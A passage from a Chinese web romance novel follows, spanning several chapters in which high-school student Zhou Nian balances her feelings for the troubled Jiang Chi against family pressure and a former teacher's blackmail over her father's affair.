“搞体育呗,没办法,都学了那么多年了,体育是我唯一的出路。” “那我也一样。” 周念看着他的眼睛,很慎重地说:“我没得选,读书是我唯一的出路。不一样的是,我的路上挤满了人。” 林川呆呆地看着她,半晌说道:“你好严肃。” 周念:“” 比起一般男生的饭量,林川有过之而无不及,五十个饺子下肚,他没舍得离开,眼珠子往上一滚惦记起菜单上的饺子。周念明白他的意思,问他还想要什么,他倒一点都不客气,笑了笑张开大手比划了个三。 “再来三十个吧。” “” 林川解释说:“我们体育生体力消耗大,食量也大,我一个师兄一顿能吃八碗盖浇饭吃完还能塞点小甜点。” 周念附和着点了点头,想着如果他说他能吃一头牛,她也没什么惊讶的。 有客人进门,貌似是个熟客,进门就开始絮叨:“这天啊说变就变,刚刚还好好的,这会儿好像得下雨。” 周念往外张了眼,巷子不大,以她的视角是看不到天的,只觉得刚才亮堂的巷子现在暗了不少。饺子店对门是个小卖部,门面窄小,一张玻璃货柜就把整个空间塞得满满当当,里头有个一个五十几岁的大爷依着墙打瞌睡。 江池就是这个时候闯进她的视野的。 他走到货柜钱扔出一张红钞,不知道讲了些什么,老大爷从里面拿出一包烟再回身取了个打火机。大爷的动作迟缓,江池没等他找钱,侧身站着,他的边上有根电线杆,上头挂着一簇杂乱无章的线团。 他点了根烟,沉沉地吸了口,吐烟的时候却静止了,纹丝不动的,不知道在想点什么。 周念远远地看着他,刚刚的对话在心间陡然响起。林川的出路是体育,自己的出路是读书,那江池呢?没人给他指引,往后某一天或许也像现在这样,拿了根烟,微佝着背,迷茫地站着。 “你在看什么?” 林川顺着她的目光回头。 也就在这时,江池掀起眼皮,隔着沾满灰尘的玻璃与店里两人对视。眼尾轻轻地扫过周念,他面无表情地转过身去捡大爷放在玻璃柜上的零钱,头也不回地走了。 林川看着周念:“认识?” 周念抿唇不语,起身结账。 城南游泳馆一如既往的冷清,泳池里零星飘着几个人,基本都是学游泳的小孩。周念换好泳衣和林川在泳池边碰头,她看向他微隆的肚子说:“要不要先消消食。” 林川抡起胳膊准备热身:“游泳就是消食。” 周念总算明白,以常人的脑回路是很难理解他的行为的。她靠边站着打算就地压压腿。 然后就见到这货更骚的操作,不知他从哪里弄来一个计时器,在周念面前晃了晃说:“一会儿我两比赛,和小时候一样,谁输了谁在水里倒立一分钟。” 周念:“?” “怎么了?我等这一天等了十年了,十年前我总是输,我就下定决心要赢你。” “” 周念继续热身,热到一半没好气的来了句:“其实你想看我水下倒立可以直说,没必要那么麻烦。” 林川被她的表情逗笑,他强忍着笑意说:“你这样真有趣。” 避免他再说出这样的话,周念干脆不吭声了。 人是她约的,纵有一万个不情愿,也得满足他这个‘君子报仇十年不晚’的心愿。 学游泳的孩子扎堆在角落,泳道上没人,两人可以毫无顾忌的比赛。林川问工作人员借了个口哨,以哨声为指令开始比赛。 哨声一响,两人齐齐入水。周念闭眼盲冲,而林川下了水后就只是在水里站着,望着周念在水里蹬腿模样傻笑。等她抵达对岸回返时,他才憋了口气潜入水中。 江池站在观众席上远远的看着,目光始终跟随那一抹浅浅的灰色,他拧开矿泉水瓶,仰头倒水,仅有一滴水顺着瓶口滴下来。他略显烦躁地皱紧眉把瓶子往垃圾桶方向一扔,瓶身顺利进桶,盖子撞上桶壁反弹回来。 管理员李东把瓶盖捡起丢进垃圾桶。 “怎么啦?不太高兴啊?” 江池没搭理他,留了一个背影走下台阶。李东对着背影翻了个白眼心说:少爷脾气 。 第28章 第28章我愿意等你,多久都行 周念和林川几乎是同时到达终点的,周念累得够呛,喘了好久才双手撑地一跃坐上‘岸’。再看林川大气不喘,像根本没下过水似的。 他挨着周念坐下,冲她竖了个大拇指。 “不错啊。” 周念知道他在让她,见到竖起的拇指反而觉得扎眼。 “公平竞争,不用让我。” 林川笑笑:“我们身高、体重、性别、耐力都不一样,怎么做到公平,唯一的办法就是你先下水。” 他顿了顿,试图与她对视:“我再追你。” 那么明显的暗示,周念不可能听不懂,起伏的水波撩拨着她的脚踝,她双脚一缩,站了起来。 “我先去趟厕所。” 泳池到厕所连着一条走廊,走廊昏暗,头顶的灯形同虚设,一部分年久失修彻底报废,另一部分的灯罩堆满飞虫尸体,透不出光来。长长的走廊尽头宛若一个硕大的黑洞。 周念往里走了几步,拐过一个直角,光线愈加暗了。她正要往前,胳膊被人用蛮力握紧,她本能一扯非但没挣脱反而被拽得更紧,她甚至不用回头就知道是谁。 还能是谁呢? 江池双手握紧她的胳膊将她抵在墙上。 周念拧起眉心,他逆着光她看不清他的脸,却能分辨出他的味道,她意外于自己能记住这股味道,一股普普通通淡淡的皂角香,明明很多人身上都有。 “你也在啊。” 她的语气没变,不温不火的,听不出有没有生气。 “我也在?” 笑声轻不可闻却尖锐刺耳。 “你不就是冲着我来的吗?” 微光漫在周念脸上,额角渗出的水顺着脸颊往下流,水线从她胳膊蔓延到江池手心,再从手心一路往下,在他干燥的手臂上留下痕迹。 “你说的没错,我就是冲着你来的。” 她刚刚下过水眼眶湿漉漉的,裹着一双会倾诉的眼睛。 “难道你不想我来吗?” 江池征住,他第一次觉得面前的人可怕,一双眼睛洞悉一切,看穿所有,她想来便来了,她想走就走了。在这一段不平衡的关系里,自己永远是那个被拿捏的。 “来干什么?来告诉我你已经找好备胎了?他愿意等你几年?半年,一年,两年。还是你俩已经好了,来我面前耀武扬威?” 周念低头笑笑,笑得身体发颤,她仰起头来问他:“你真的那么想吗?你真的觉得我是那种谁都可以的人?” “还是你觉得,你在我眼里不过是个可有可无的人?” 她反手去搭他的手臂,他的手臂比想象中的粗壮,结实,温热。 她微微歪着脑袋去寻他隐藏在暗中的眼睛。 “江池,你就那么不自信吗?” 他的手在暗中轻颤,许久没有开口。手指在他手臂上轻轻的摩挲,周念放软姿态,缓缓地说:“不要说气话,好吗?” 江池觉得讽刺。她明明知道他会生气,可还是把人带来了。他生气了,她也如愿了。现在却让他别说气话? “周念,你到底想干什么?” 周念:“你知道的,我想要什么。” 江池终于松开手,双手顺势垂落,人一烦躁烟瘾就容易犯,他下意识地去摸口袋。可惜连裤子都没有,哪儿来的裤袋,更别说烟了。他哼笑一声说:“你以为你是谁?又不愿跟我一起,又要让我等你。” “你不会真的以为,我有那么喜欢你吧。” ——“不好啦,有人溺水了。” 一记呼喊打破沉默。 江池几乎是条件反射般飞奔向外。周念的反应要比他慢得多,她跑出长廊时,江池已经一个纵身跳入池中,他入水时周身的泡沫如一张迤逦的裙网,某个瞬间面画与记忆重叠,她又看到了那条绚烂的银鱼。 溺水的位置是在深水池,水深足有五米。溺水者是个小孩,他在水里扑腾了一会儿,呛了几口水后慢慢得往下沉。周围人见他体力不支,忍不住尖叫:“快快,他快不行了,快点啊。” 这时,林川也闻声赶来,他似乎也想帮忙,刚准备下水就被周念拦住:“别去,他可以的。” 林川顿住,很快就认出水里的人就是刚才小卖部那人,他问到:“你认识他?” 这是他第二次问这个问题,这次周念点了点头。 他从她眼里分明读出了四个字:何止认得。 江池把人捞上岸,孩子晕死过去。他把人平躺在池边,跪倒在人面前,规律而急促的按压心脏。 围观者的呼吸仿佛都被遏制了,憋着口气不敢喘。 一分钟后,孩子没动静。江池一把摘下泳帽狠狠得甩在地上,他跪姿向前掰开孩子的嘴巴,刚要下嘴,孩子一口水喷了出来。 见人清醒,大家也跟着松了口气,拍手叫好。 “太好了,人没事了。” 江池如释重负的松了口气,随即呈大字形瘫倒在地。这时李东也小跑过来,了解了大致经过后他又环顾一圈,大骂道:“妈的,阿凯呢?他当班,他跑哪儿去了?他还想不想干了。万一出了事,谁负责?” 骂完一通,怨气半消,他自作多情地去拉地上的江池,手被江池无情打掉。 “让我歇会儿。” “好好好,你歇着。” 这会儿,他看江池亲切不少。 管他脾气臭不臭,动作灵活能抗事儿就行。他用‘这小子真不赖’的眼神重新审视江池,最后满意的离开。 另一头,林川接到了教练的电话,接完电话不得不跟周念解释:“抱歉了,刚刚是我偷跑出来的,现在被发现了,得回去受罚了。” 周念想起刚才与他通话时的杂音,那会儿估计是在训练。她感到愧疚,毕竟约他出来完全出于自己的私心,耽误人时间不说,还害得他受罚。 “该说抱歉的是我。这样吧,下次我请吃饭。” 她强调道:“吃大餐。” “真的?” “真的。” 林川:“一言为定。” 周念:“一定。” 两人在游泳馆门口分道扬镳。周念抬头看着阴沉的天,猜测它今天到底会不会下雨,她记得昨晚的天气预报分明显示今天全天晴。她回头看了眼游泳馆的大门。心想:连天气都难以捉摸,更何况是多变的人心。 晃神的间隙,有个身影快速地朝外奔来。江池见她没走,假装镇定地沉了口气。 周念:“你是来找我的?” 明明是个问句,脱口时却加重了肯定的语气。 江池不出声,路过她时握紧她的手腕往外走。周念象征性地挣了挣,没用力,自然不可能挣脱。 “去哪儿?” “你不是欠我一顿饭?” “现在才三点。” “三点不能吃饭?” “” 江池拉着她拐进小巷,然后走进刚才那家饺子店,最后用脚拨开周念之前坐过的椅子,对她说:“坐下。” 江池把对面的椅子拉开,一屁股坐下,抱着双臂好整以暇。 “刚才他吃什么?” “饺子。” 周念唇线抿直。 “80个。” 江池:“” 周念一点台阶也不给他。 “你也要吃吗?” 江池倒是理智,不好这种胜,他不屑道:“80个,给猪吃,猪都能剩。” 周念忍不住笑了笑,这顿是‘两清饭’,饺子店的消费远远不如三千块,她问:“你确定在这儿吃吗?不吃点别的?还是我折现给你。” “那就永远欠着。” 江池偏头看向墙上的菜单,问老板要了两人份的饺子和单人份的甜汤。 他问:“你饿吗?” 周念:“不饿。” 他极具讽刺意味地笑了笑:“也是,刚陪别人吃过怎么会饿呢。” 周念只静坐着,对他的阴阳怪气也没反驳。 老板把两份饺子端上桌,他见到周念先是一阵迷茫,认出是她后表情开始凝重。大约是没见过有哪个正经女孩一天之间约会两男的,关键还敢在同一家店。 江池把两份饺子都揽过去,把它们倒在一起,空碟往边上一扔。甜汤是给周念准备的 ,他没动。 他埋头吃了会儿,吃到一半抬眼看对面,周念还是那副死样,闷声不响地坐在那儿。 江池无声短叹,把汤推到她面前。 明明不渴,可甜汤一挪过来,周念就觉得嗓子眼有点干。她用汤勺舀了一勺,送进嘴里。 余光瞥见,江池不可查地笑着,竟觉得原来简简单单地吃个饭也是种享受。 江池消灭完食物,放下筷子。没了碗筷的碰撞声,周念有种世界静默,悄无声息的错觉,于是她也放下了勺子。 两人相对而坐,谁也没出声,像憋着股劲等对方先开口。没一会儿,门外响起‘噼里啪啦’的雨声,一场大雨如约而至。 老板把移门往里推了一截,只隙开一条小缝,嘴里埋怨。 “鬼天气预报,没一天准过。” 雨水铺天盖地,把整个银城包裹其中,店内昏暗如夜幕初降。老板不得不把灯打开。 周念说:“你吃完了?那我去结账。” “不急。” 江池回头,目光穿过雨帘看向对面的小卖部。 “我去买点东西。” 移门大开,屋檐下的雨乘着风飘进店里,老板骂骂咧咧,想去关门,这时江池回来了,手里多了一副扑克牌。 他把牌扔在桌上:“玩个游戏。” 周念不置可否,手在书包里摸索片刻,半晌拿出一包纸巾。 “擦擦吧,别感冒了。” 江池这才意识到自己上身湿了大半,他没去接纸,用手糊拍一阵,权当是擦过了。 周念把纸巾收回去,目光落在纸牌上。 “玩什么?国王游戏?” 江池把牌拆了,挑出王和花牌,一切就绪才不冷不热地开口。 “我要是国王,你敢服从吗?” 周念哑然。 “那玩什么?” “玩不说实话就长针眼。” “” 江池洗完牌,把牌摊开,反扣在桌上。 “抽牌,红牌你赢,你来问我,黑牌我赢,我来问你。” 周念沉默一阵没有下手。 “你不敢?那我来。” 江池从牌堆里抽出一张牌,掀开,是黑桃五。 “想去哪里旅游?” “嗯?” 周念以为他会问些挑明两人关系的问题,没想,问题那么跳脱。 “说啊。” “想去北方看雪。” 回答完毕,江池又抽了一张,依然是黑色。 “如果我不等你,你会恨我吗?” 周念依旧哑然,该来的问题,一个都不会少。 门外雨势渐大,雨滴疯狂敲打玻璃,尸体聚在一起汇成一道道雨线犹如凸起的脉络。 她说:“会。” 江池扯出一个晦涩难懂的笑,又去摸牌,还是黑色。这次的问题,他斟酌了很久,问得也很小心。 “如果我不等你,那今天是不是我最后一次见你。” 她说:“是。” 听完答案,江池沉默了好久,漫长到周念放眼去看门外的光景。雨水把天线杆上那捆杂乱的线团洗的乌黑发亮,三两只一时找不到庇护所的小鸟落在上头,大约是忍不住大雨袭击又飞走了。 江池抽牌,翻牌,依旧黑色,这次他没问又抽牌,翻牌,还是黑色。他不死心,连续抽了几次,终于抽到红色。 周念其实没什么想问的,正当她酝酿问题时,江池开口了。 “我输了。” 他把手里的红桃A丢在桌上,看向周念。 “我愿意等你,多久都行。” 第29章 第29章——你知道吗?小念。江…… 周念连续拒接江池的邀约三次,第四次,江池直接打来电话。 “周念,我忍你很久了。” “” “今天有空吗?” 周念张了一眼面前的日历,周六,张宁不在家,天气还不错。 “有吧。” “有吧?多勉强啊。” 她不理会他的戏虐,问:“去哪儿啊?” “花鸟市场。” “你想养鸟?” 周念蓦地想起那座冰冷死气的大别墅,心想是该养点小动物。她若有所思地转动手里的笔,笔尖点地时她说“要不你来接我吧。” 对面想都没想说:“好啊。” 江池根据周念给的地址走到一条狭窄的弄堂里,旁边有一排垃圾桶,地上摊着一堆被拨乱的厨余垃圾。他站在一旁眺望不远处的小洋楼,尝试着回忆第一次见到周念时的画面,那晚,她回到家没急着进门而是在门外的台阶上站了会儿,像在做心理建设,进门前她深深吸了口气那模样活脱脱一个准备上战场的小兵。 嘴角不自觉弯起弧度。 他还记得,那扇门即将关闭的时候,她的目光毫无征兆地看了过来。随着屋内透出的光束被门隔绝,短暂相碰的视线也一同被切断。 不知道她看到他没。 思绪被一声绵软的猫叫扯回大脑。江池转过身,垃圾桶旁冒出一只野猫,灰头土脸,又瘦又小。他蹲下身仔仔细细地打量着这只警惕的小野猫。 这猫有点眼熟。 呵,能不眼熟吗?是周念的头像。 他都记不清半夜对着这个猫头图片欲言又止过多少回。 “你养它好不好?” 周念不知何时出现在他身侧,和他一样蹲在地上看着那只野猫。 “让我来接你就是为了它?” “嗯,养什么不是养,猫比鸟好养多了。” 江池起立,拉着周念的胳膊把她扶起,角落的野猫警觉地缩回前掌,做好后退逃跑的准备。 “谁说我要养鸟的?” “你不是要去花鸟市场吗?” “花鸟市场只有鸟吗?” “那你要养花?” 周念腹诽:有那功夫把花园里的花收拾收拾不好吗? 江池笑她:“你拿捏我的时候脑子不是转的挺快的吗?” 周念:“?” 江池忽然想摸摸她的头,伸到一半的手倏地停下又垂落。 算了,再等等吧。 他说:“花鸟市场除了花就是鸟?我就不能买点别的。” 周念诧异于自己居然会乐此不疲的跟他周旋在这个无聊的话题上,但她还是忍不住问:“那你想买什么。” 江池说:“看看再说。” “哦。” 原来还没结果。 南方的秋天一眨眼就到了,又一眨眼就走了,前些天周念还穿着长袖,今天已经套上茸茸的毛衣了。她看向江池,薄薄的外套里面只有一件更薄的T恤。 她问:“你不冷吗?” 他说:“我不冷。” 江池把话题转回那猫身上。 “你想我养它?” 周念抬头看着上方的树,前几天树叶还绿得冒油,现在就黄了。 “嗯,冬天很快就要来了,它太小了,我怕它捱不到春天。” 他看着那猫说:“它叫什么名字。” 周念默了秒:“咪咪?小灰?” “像是你会取的名字。” “” 周念一时分不清他在嘲讽还是夸奖。 他又说:“不好听。” 果然是嘲讽。 江池最后看了眼小猫,对周念说:“走吧,先去给它买个笼子,再带它去洗个澡。” 周念勾起唇:“你答应养它了?” 江池走在前头,依然是那副漫不经心的语调:“你都开口了,我能不答应?” 两人先去了城郊的花鸟市场。近些年市场遇冷,生意萧条,偌大的市场,只稀稀拉拉的开了几家铺子。 江池没在花卉植物区停留,他直径来到金鱼店。金鱼店店面比边上售卖猫狗的铺子要大得多,里头金鱼品类也全,地上柜台墙壁,能利用的空间都被放上玻璃鱼缸。 老板守着个上世纪的小彩电看电视,听到动静向外看了眼,见外头学生模样的 两人料想应该不是大客户,所以没热情招待,说了声‘自己看看’就回头看电视了。 店正中央的柜台上盛放着一只巨型玻璃鱼缸,鱼缸足有两米长一米高,周念的目光被它吸引,不自觉绕着它走了一圈。她停下来驻足观赏,玻璃缸里承载了一个缤纷世界,水草,沙石,珊瑚和五彩鱼群。 她看得入神,手指跟着其中一条黄白相间的热带鱼游走,它游得慢,动作滑稽,跟不上大部队,只得费劲得摇摆尾巴。周念弯起笑眼,手指在玻璃上点了点,试图引起小鱼的注意。可惜那鱼不稀罕理她,扭头一转,扬长而去。 目光随着小鱼越走越远,直到它把视线引往另一双更深邃的眼睛。 江池就站在对面注视着她,他的脸被鱼缸灯染上颜色,可那双眼不着色彩。 周念突然想起当初方妙用极尽夸张的词汇来形容他的眼睛。 ——你知道吗?小念。江池的眼里有一整个宇宙,你没见过那样的眼睛,当他看向你,你就知道,你要完了。 江池在店里绕了一圈,似乎没找到自己想要的,于是走到老板面前。 “这种鱼有吗?” 只见他从口袋里掏出一个钥匙扣,上面挂着一条银色半月斗鱼。 老板觑了眼。 “有,要什么颜色。” 江池晃动钥匙扣:“就这个颜色。” 老板明了后进了暗室,周念走上去与他并肩,明知故问道:“你想养鱼?” 江池不假思索:“给猫做个伴。” 周念有点费解:“猫和鱼怎么作伴,猫是鱼的天敌。” 江池自信满满:“没关系,我看得住。” 江池只买了一条鱼,周念不明白为什么他大费周章地来花鸟市场只为买一条鱼。于是江池很耐心地跟她解释:“这种鱼叫斗鱼,生性好强不适合群养,如果把两条斗鱼放在一起,那战斗力比较弱的那条会被欺负得遍体鳞伤。” “哦~”周念拖着长音说:“那你可以买别的鱼。” 江池摇头:“不想。” 周念:“为什么。” 为什么?江池也解释不清楚。 “大概是因为你吧。” 大概是因为你送的鱼是斗鱼,所以我才只想养它。 买完鱼,两人在就近的宠物店买了笼子,剩下的时间都用在对付那只猫身上。给猫洗完澡,驱完虫已经快傍晚六点钟,秋天的太阳落得早,天光暗淡许多。 两人从宠物医院出来,走到马路牙子边等出租。周念用手逗了逗笼子里的猫,轻轻得叫它:“咪咪,小灰。” 江池说:“改个名吧。” 周念收回手,直起腰背:“改什么?” 江池说:“没想好。” “我还以为你有主意了。” 周念抬头看天色,天际正以肉眼可见的速度刷上蓝色,她说:“很晚了,我得回去了。” “一起吃个饭吧。”江池说:“你那么难约,不知道下次什么时候可以见你。” 周念抿了抿唇,一时间不知道怎么接话。 江池看见她略显无措小表情笑了笑,本想调侃她几句,想了想还是算了,万一她真的走了岂不是得不偿失。 他说:“不会耽误太久,最多两张卷子的时间。” 周念说:“好。” 怕猫在笼子里关太久会有应激反应,两人商议先回江池家,安顿好一猫一鱼再解决温饱问题。 江池花园里的花草应该是被修剪过了,一个个看起来‘安分守己’多了。周念路过时多看了一眼,江池跟她解释说:“我自己剪的。” 周念露出一个不可置信的眼神,很短暂,但还是被他捕捉到了。 他说:“你不信?” 周念很实诚地把头点了下去:“不信。” 江池轻哼,把钥匙插入锁中,向右一转,‘喀哒’一声。 “怕晚上吓着你才剪的。” 两人进门,江池把笼子平放在地上,打开猫笼。 “出来吧。” 那猫似听懂他的话,倏地蹿出笼子朝沙发飞奔,之后纵身一跃跳上沙发。它瞪着一双圆鼓鼓的猫眼警惕地打量四周。 江池不再理它,把买来的鱼放进简陋的塑料鱼缸里。他说:“委屈你住一晚,明天给你换个大点的房子。” 把猫和鱼都安置好,周念忽然觉得这件屋子多了点灵气,多了点活味儿。她进厨房洗手,洗完手很自然地用边上的擦手巾擦手。她微微一滞,转过头注视这间厨房。锅碗瓢盆,柴米油盐,好像什么都有了。 “刚买的。” 江池随她进入厨房,解释道:“觉得你还会来,所以就买了。” 周念默了秒说:“家里有什么?” 江池反问她:“你需要什么?” 周念说:“鸡蛋、番茄、面条都有吗?” 食材是前些天买的,江池不确定,打开冰箱找了会儿才说:“都有。” 周念随他走到冰箱旁,看着被塞得满满当当地冰箱说:“那就不出去吃了,自己做吧,方便也健康。” 关于做饭,两人都不在行,一个半吊子,一个门外汉。周念只比江池多了点煮面的能力。 她说:“番茄鸡蛋面吃吗?” 江池把鸡蛋番茄从冰箱里拿出来,搁在台面上。 “你做什么,我吃什么。” 做番茄鸡蛋面毫无工序可言,江池连给周念打下手的机会都没有,只能杵在一旁安安静静地看。他从裤袋里摸了根烟,没抽,他说:“早知道是这种等法,那晚就应该答应你。” 周念默默地煮面,全当没听见。 他无所事事地点火,熄灭,再点火。再次开口时语气还有点不易察觉的委屈:“害得我吃不好睡不好。” 周念:“” 第30章 第30章江池,三千 面没上桌,狐朋狗友接连而至。徐明是第一个进门的,他身后跟了一连串人。大家见到周念时的表情都挺复杂的,一个个脸上写着‘她怎么来了’五个大字。 江池走到厨房外,眉头蹙起。 “来怎么不说一声?” 怪罪的口吻不加掩饰。 徐明无辜地耸了耸肩:“我们哪次来打过招呼啊?” 江池被呛住,他回到厨房跟周念说。 “我朋友来了。” 周念把面条捞进碗里,只说:“嗯我看到了。” 他说:“我不知道他们要来。” 周念:“没关系,我很快就走。” 江池长长地吁了口气,竟一时想不出挽留她的借口。 这时厨房外探出宋佳月半个脑袋。 “喂,吃了吗?我们带了菜来。” 语气僵硬,不太友好。 江池偏头看她,以同样的不耐语气回复:“你吃你的,这里不用你管。” 宋佳月气不打一处来,狠狠地瞥他一眼。 “爱吃不吃,不吃拉倒。” 周念看了眼锅里糊烂的面条,又偏头看了眼堆满茶几的日料和烧烤对江池说:“你出去吃点吧,我先回去了。” 江池问:“你不吃吗?都煮好了。” “我不饿。” 周念朝窗外看去,暮色很重,再不回去张宁就要到家了。 “先走了。” 江池家这一片位置有点偏,到了晚上很少有出租车往这一片过。两人在路上干等着。江池踢着路边的小石子,没头没脑地来了句:“叫小恩吧。” 周念显然跟不上他的思路,脸色挂着一个大大的问号。 “什么小恩?” 江池说:“那只猫,叫它小恩。” 周念:“为什么?” 他想起周念的微信名ZN,小N小N觉得挺顺口,他怕她觉得自己矫情就没好意思说实话,只说:“报恩的恩,我供它吃,供它喝,叫它小恩。让它念我的好。” 周念居然觉得他说得有点道 理,缓慢得点头附和:“也好,就叫它小恩。” 远处驶来一辆空车,周念上前两步伸手招手,司机慢慢减速。门是江池开的,周念钻进车里刚想关门,江池也跟了进来,一屁股坐下。 两人四目相对,周念想说点什么,江池扬着下巴示意她给司机报地址。 说完地址,周念问他:“你要干嘛?” 江池往后一倒,贴紧椅背,以他一贯懒散的语气说:“兜风。” “” 把周念送到家,江池原路返回,到家后在外头吸了会儿烟。进门时发现人散的差不多了,只有徐明还坐在沙发上看昨晚的球赛回放。 徐明直勾勾地盯着电视屏幕,心思却在江池身上。 “你跟周念什么情况,她不是不同意吗?” 江池回到厨房,端起那碗糊透了的面吃了几口,明明寡淡无味,却有种说不上来的好吃。他来到客厅,面始终端在手里。 “她让我等她一年。” 徐明觉得好笑,毫不留情地笑了起来:“什么意思?她让你等她,你真等?” 江池埋头吃饭。 他不说话,默认了。 “不是吧,她七仙女啊,让你等一年?这是你江池会做的事?” 徐明怀疑自己在做梦,暗地里掐了自己一把,疼,他妈的是真的。 “她真有本事。” “那万一,我说万一。” 徐明从沙发上爬起来,调整坐姿。 “万一她中途跟别人对上眼了,你怎么办?” 江池三两口把面全吃进肚里,他重新点了根烟,吸了口说:“她要是看上别人,我也认了。” 徐明忍不住揶揄:“等周念什么时候不要你了,让佳月去讨教讨教,到底用了什么把你迷得七荤八素的。” 徐明懒得继续这个话题,前面是路是坑,踩了就知道了,况且情爱的事,嘴上说的和实际做的完全两码事。他从桌上拿起一个串儿,突然想到什么,手头一滞,表情格外严肃。 “阿樾被学校开除的事听说了吗?” 江池抖落烟灰‘嗯’了声。 徐明说:“本来事儿也不大,但下个月教育局有领导下来,这风头不就紧了吗。学校的领导干脆就一刀切了,犯事儿的都给开了,那个姜小小也是。” 江池安静地听着,没发表意见。 “我还听说啊。” 徐明从茶几上的烟盒里拿了根烟,他用余光瞄了眼江池,边说边留意他的反应。 “我听说是周念报警说酒店‘卖|淫’警察才去的。” 江池这才有了点反应:“你听谁说的?” 事情不确定,只是从别人口里听了一二,徐明不敢乱下结论,含糊道:“不知道谁传的,大家都觉得挺巧的,所以” 江池嘴角一挑,轻嗤道:“我还说是我报得警,你信吗?” “嗐,我就说说。” 徐明眼珠子左右瞥了瞥,瞧见缩在两张沙发缝隙里的猫,惊奇道:“呦,怎么养猫了?叫什么呀。” 提起那猫,江池脸色好看了些。 “叫小恩。” “小恩?公的母的你就叫人小恩。” 徐明趁猫不注意,一个飞赴抓住一条猫腿,手一用力把猫整个抓了过来。他扒开猫腿看了眼:“大老爷们,你叫它小恩?” 江池无语,笑着摇了摇头说:“你手脚轻点,一会儿被你弄死了。” * 周念站在家门口,小洋楼黑漆漆的,没半点光亮,她暗自庆幸:还好,人都不在。 “去哪儿了?” 周念原地一怔,回头去看,张宁从门口的桂花树旁走了出来。 她在这儿逮她呢。 张宁性子急,周念没回应就默认她在心虚逃避。 “一整个下午,你跟谁出去鬼混了?” 她没给她狡辩的时间,把后路统统堵死。 “别跟我说你去图书馆了,下午我去过图书馆,你人不在。我也打过电话给叶琳和方妙,她们都说没跟你在一起。” 周念想解释什么又觉得没有必要,她跟面前的人相处了快十八年,她很清楚张宁的为人,只要是她认定的事,没有人可以左右。 张宁着急上火:“说啊,我问你话呢?” 一声短暂清浅的叹息,周念说:“家里太闷了,我出去散了散心。” 张宁:“你去哪儿散心了?” 周念:“江边。” 张宁:“跟谁啊?” 周念:“我自己一个人。” “你一个人散心散一个下午?你知不知道现在什么时候?高三已经过了两个月了,你知道你还有多少时间来学习?” 张宁气得扶额,原地打转。 “上次你说你竞赛有把握,我同意了,然后呢?连初赛都没通过,捷径走不通了,大道你又不愿意老老实实地走。你要我拿你怎么办?” 不知哪儿来了一阵风,头顶的云被吹散,月光重新散向地面。周念的声音被压在树叶婆娑声中,不太真切。 “妈,你别逼我了。” “你说什么?” 张宁不敢置信地问:“你再说一遍。” ** 周念全身赤|裸蹲在浴室,淋下的水从热水变成温水,再从温水变成凉水。她忘了刚刚是怎么结束这场即将爆发的争执,反正每每如此最后妥协的人都是她。这些天,她觉得很累,这种累始发于心遍布全身。 无意间她想起了江池。等她意识到这种想是突如其来无法控制的时候。她开始慌了,于是她把水温调到最低,用冷水把自己从头浇了个遍。 出了浴室,周念连打了三个喷嚏。 周念有个常人不能比拟的本事,无论脑子多乱她总能在第一时间静下来,或是梳理或是搁置,总之她不会让这样的情绪困扰自己。她坐在书桌前,抽出书架上两本崭新的复习资料,这是她上周刚买的,还没来得及看,正好得空翻一下。 题目不简单,一道选择题花去她近十分钟时间。第二道未开始,手机响了。周念以为是江池,所以没太留心只短暂瞟了眼,然而发信息的并不是他。是一个备注为‘严力’的人。 周念放下笔,点开信息。 ——这个月的钱呢? 她面无表情得盯着屏幕发呆,直至眼神涣散她才缓过神,不紧不慢地回了信息。 ——能不能再缓几天,这几天我手头没钱。 严力爆了几句粗口后,态度转变。 ——周念,别怪我说得难听,你每次都拖,每次都少给。我已经仁至义尽了,你再耍花招的话信不信我立刻把你爸那点破事放到网上。到时候你爸这个领导的位置可能就要易主了。 周念表情平静,不紧不慢地打下文字。 ——别发网上,再给我一周的时间,一周后我一定凑齐了给你。 ——最多给你三天。 ——行。 周念切出对话框,点开余额,余额显示还有两万多。 两万。 她心中默念,想着,够了。 连同下个月的钱也够了。 周念打开抽屉,抽出角落那叠笔记本中最底下那本,厚厚的笔记本里面只有第一页有字,上面清清楚楚地记录着周念给他转去的金额,满满一列,下面标着总额,10万。 那一列数字边上都是她借的钱,书页一角不太显眼的位置上标注着:江池,三千。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 第31章十五万,每个月给你一万…… 周念知道周宏伟有外遇是在一个闷热的午后。当时她正陪着叶琳逛街,周宏伟就在她面前经过,他身边站着一个女人,那女人穿着得体,落落大方,像是周宏伟欣赏的类型。两人并肩走着,偶尔耳语几句,举止倒不显多亲昵,但眉眼间的一来一往证实两人关系并不简单。 周念撇下叶琳独自一人跟了上去。 跟了会儿,两人进入一个老小区,小区单单一栋楼,破破烂烂,外立面剥落露出里头的红色砖头。进入小区后,女人没了顾及,手很自然地挽在周宏伟的胳膊上。 周念目送他们走上三楼,眼睁睁地看着周宏伟和女人一同进门。半刻钟不到,周宏伟出来了。 她抱着一丝侥幸心替周宏伟开脱:或许只是同事呢,或许只是他抹不开面子不好意思拒绝呢。她反复念叨着诸 如此类连自己都不信的鬼话。 结果,事实更为讽刺。周宏伟下楼是为了搬煤气瓶。周念远远看着,冷冷地扯动嘴角。一个连碗都没洗过的男人,居然在外帮别的女人搬煤气,要知道这些重活都是张宁舍不得让他干的。而现在他干了,并且甘之如饴。 这是周念第一次切身体会到什么是背叛。是最亲密的人拔剑相向,伤口流淌的不是鲜血,是失望,是死心,是爆裂的、让人窒息的疼痛。 周念清楚的记得,那天天气太闷了,闷得说不上话,喘不过气。自己尚且如此,那张宁呢?她不敢想象。 周念没有逗留太久,事实摆在面前,反复确认只会恶心。她很快回了家,还没到家就看到有个人影趴在自家窗户上,鬼鬼祟祟不知道看点什么。 周念半途停下,那是个男人,男人有点眼熟,似乎哪里见过。她缓缓走上前,男人察觉到有人走来,立马回头去看。 “严老师?” “周念!” 面前的严老师叫严力,原来是一中的体育老师,还教过周念,今年年初他就不在一中了,其中缘由周念也有听说。说是他去年染上了赌博,赌得倾家荡产,妻离子散,还欠了一屁股外债。放高利贷的找不到他人直接找到学校,学校不堪其扰以作风为由把他开除了。 周念不明白他为什么回出现在这里,毕竟这个家里只有自己跟他有那么点交集。 严力指着身后的洋楼说:“这是你家?” 周念没有心力去思考他来的目的,只是点点头。 严力意外之余还有些惊喜:“那周处长是你的父亲?” 周念仍然点头:“是的,你找他有事吗?” “那太好了,我找他有点私事,他什么时候回来?” “不确定,也可能不回来了。” “那这样,我把我电话留下,你爸回来了让他打我电话。我有很重要的事情跟他说。” “好,我会跟他说的。” 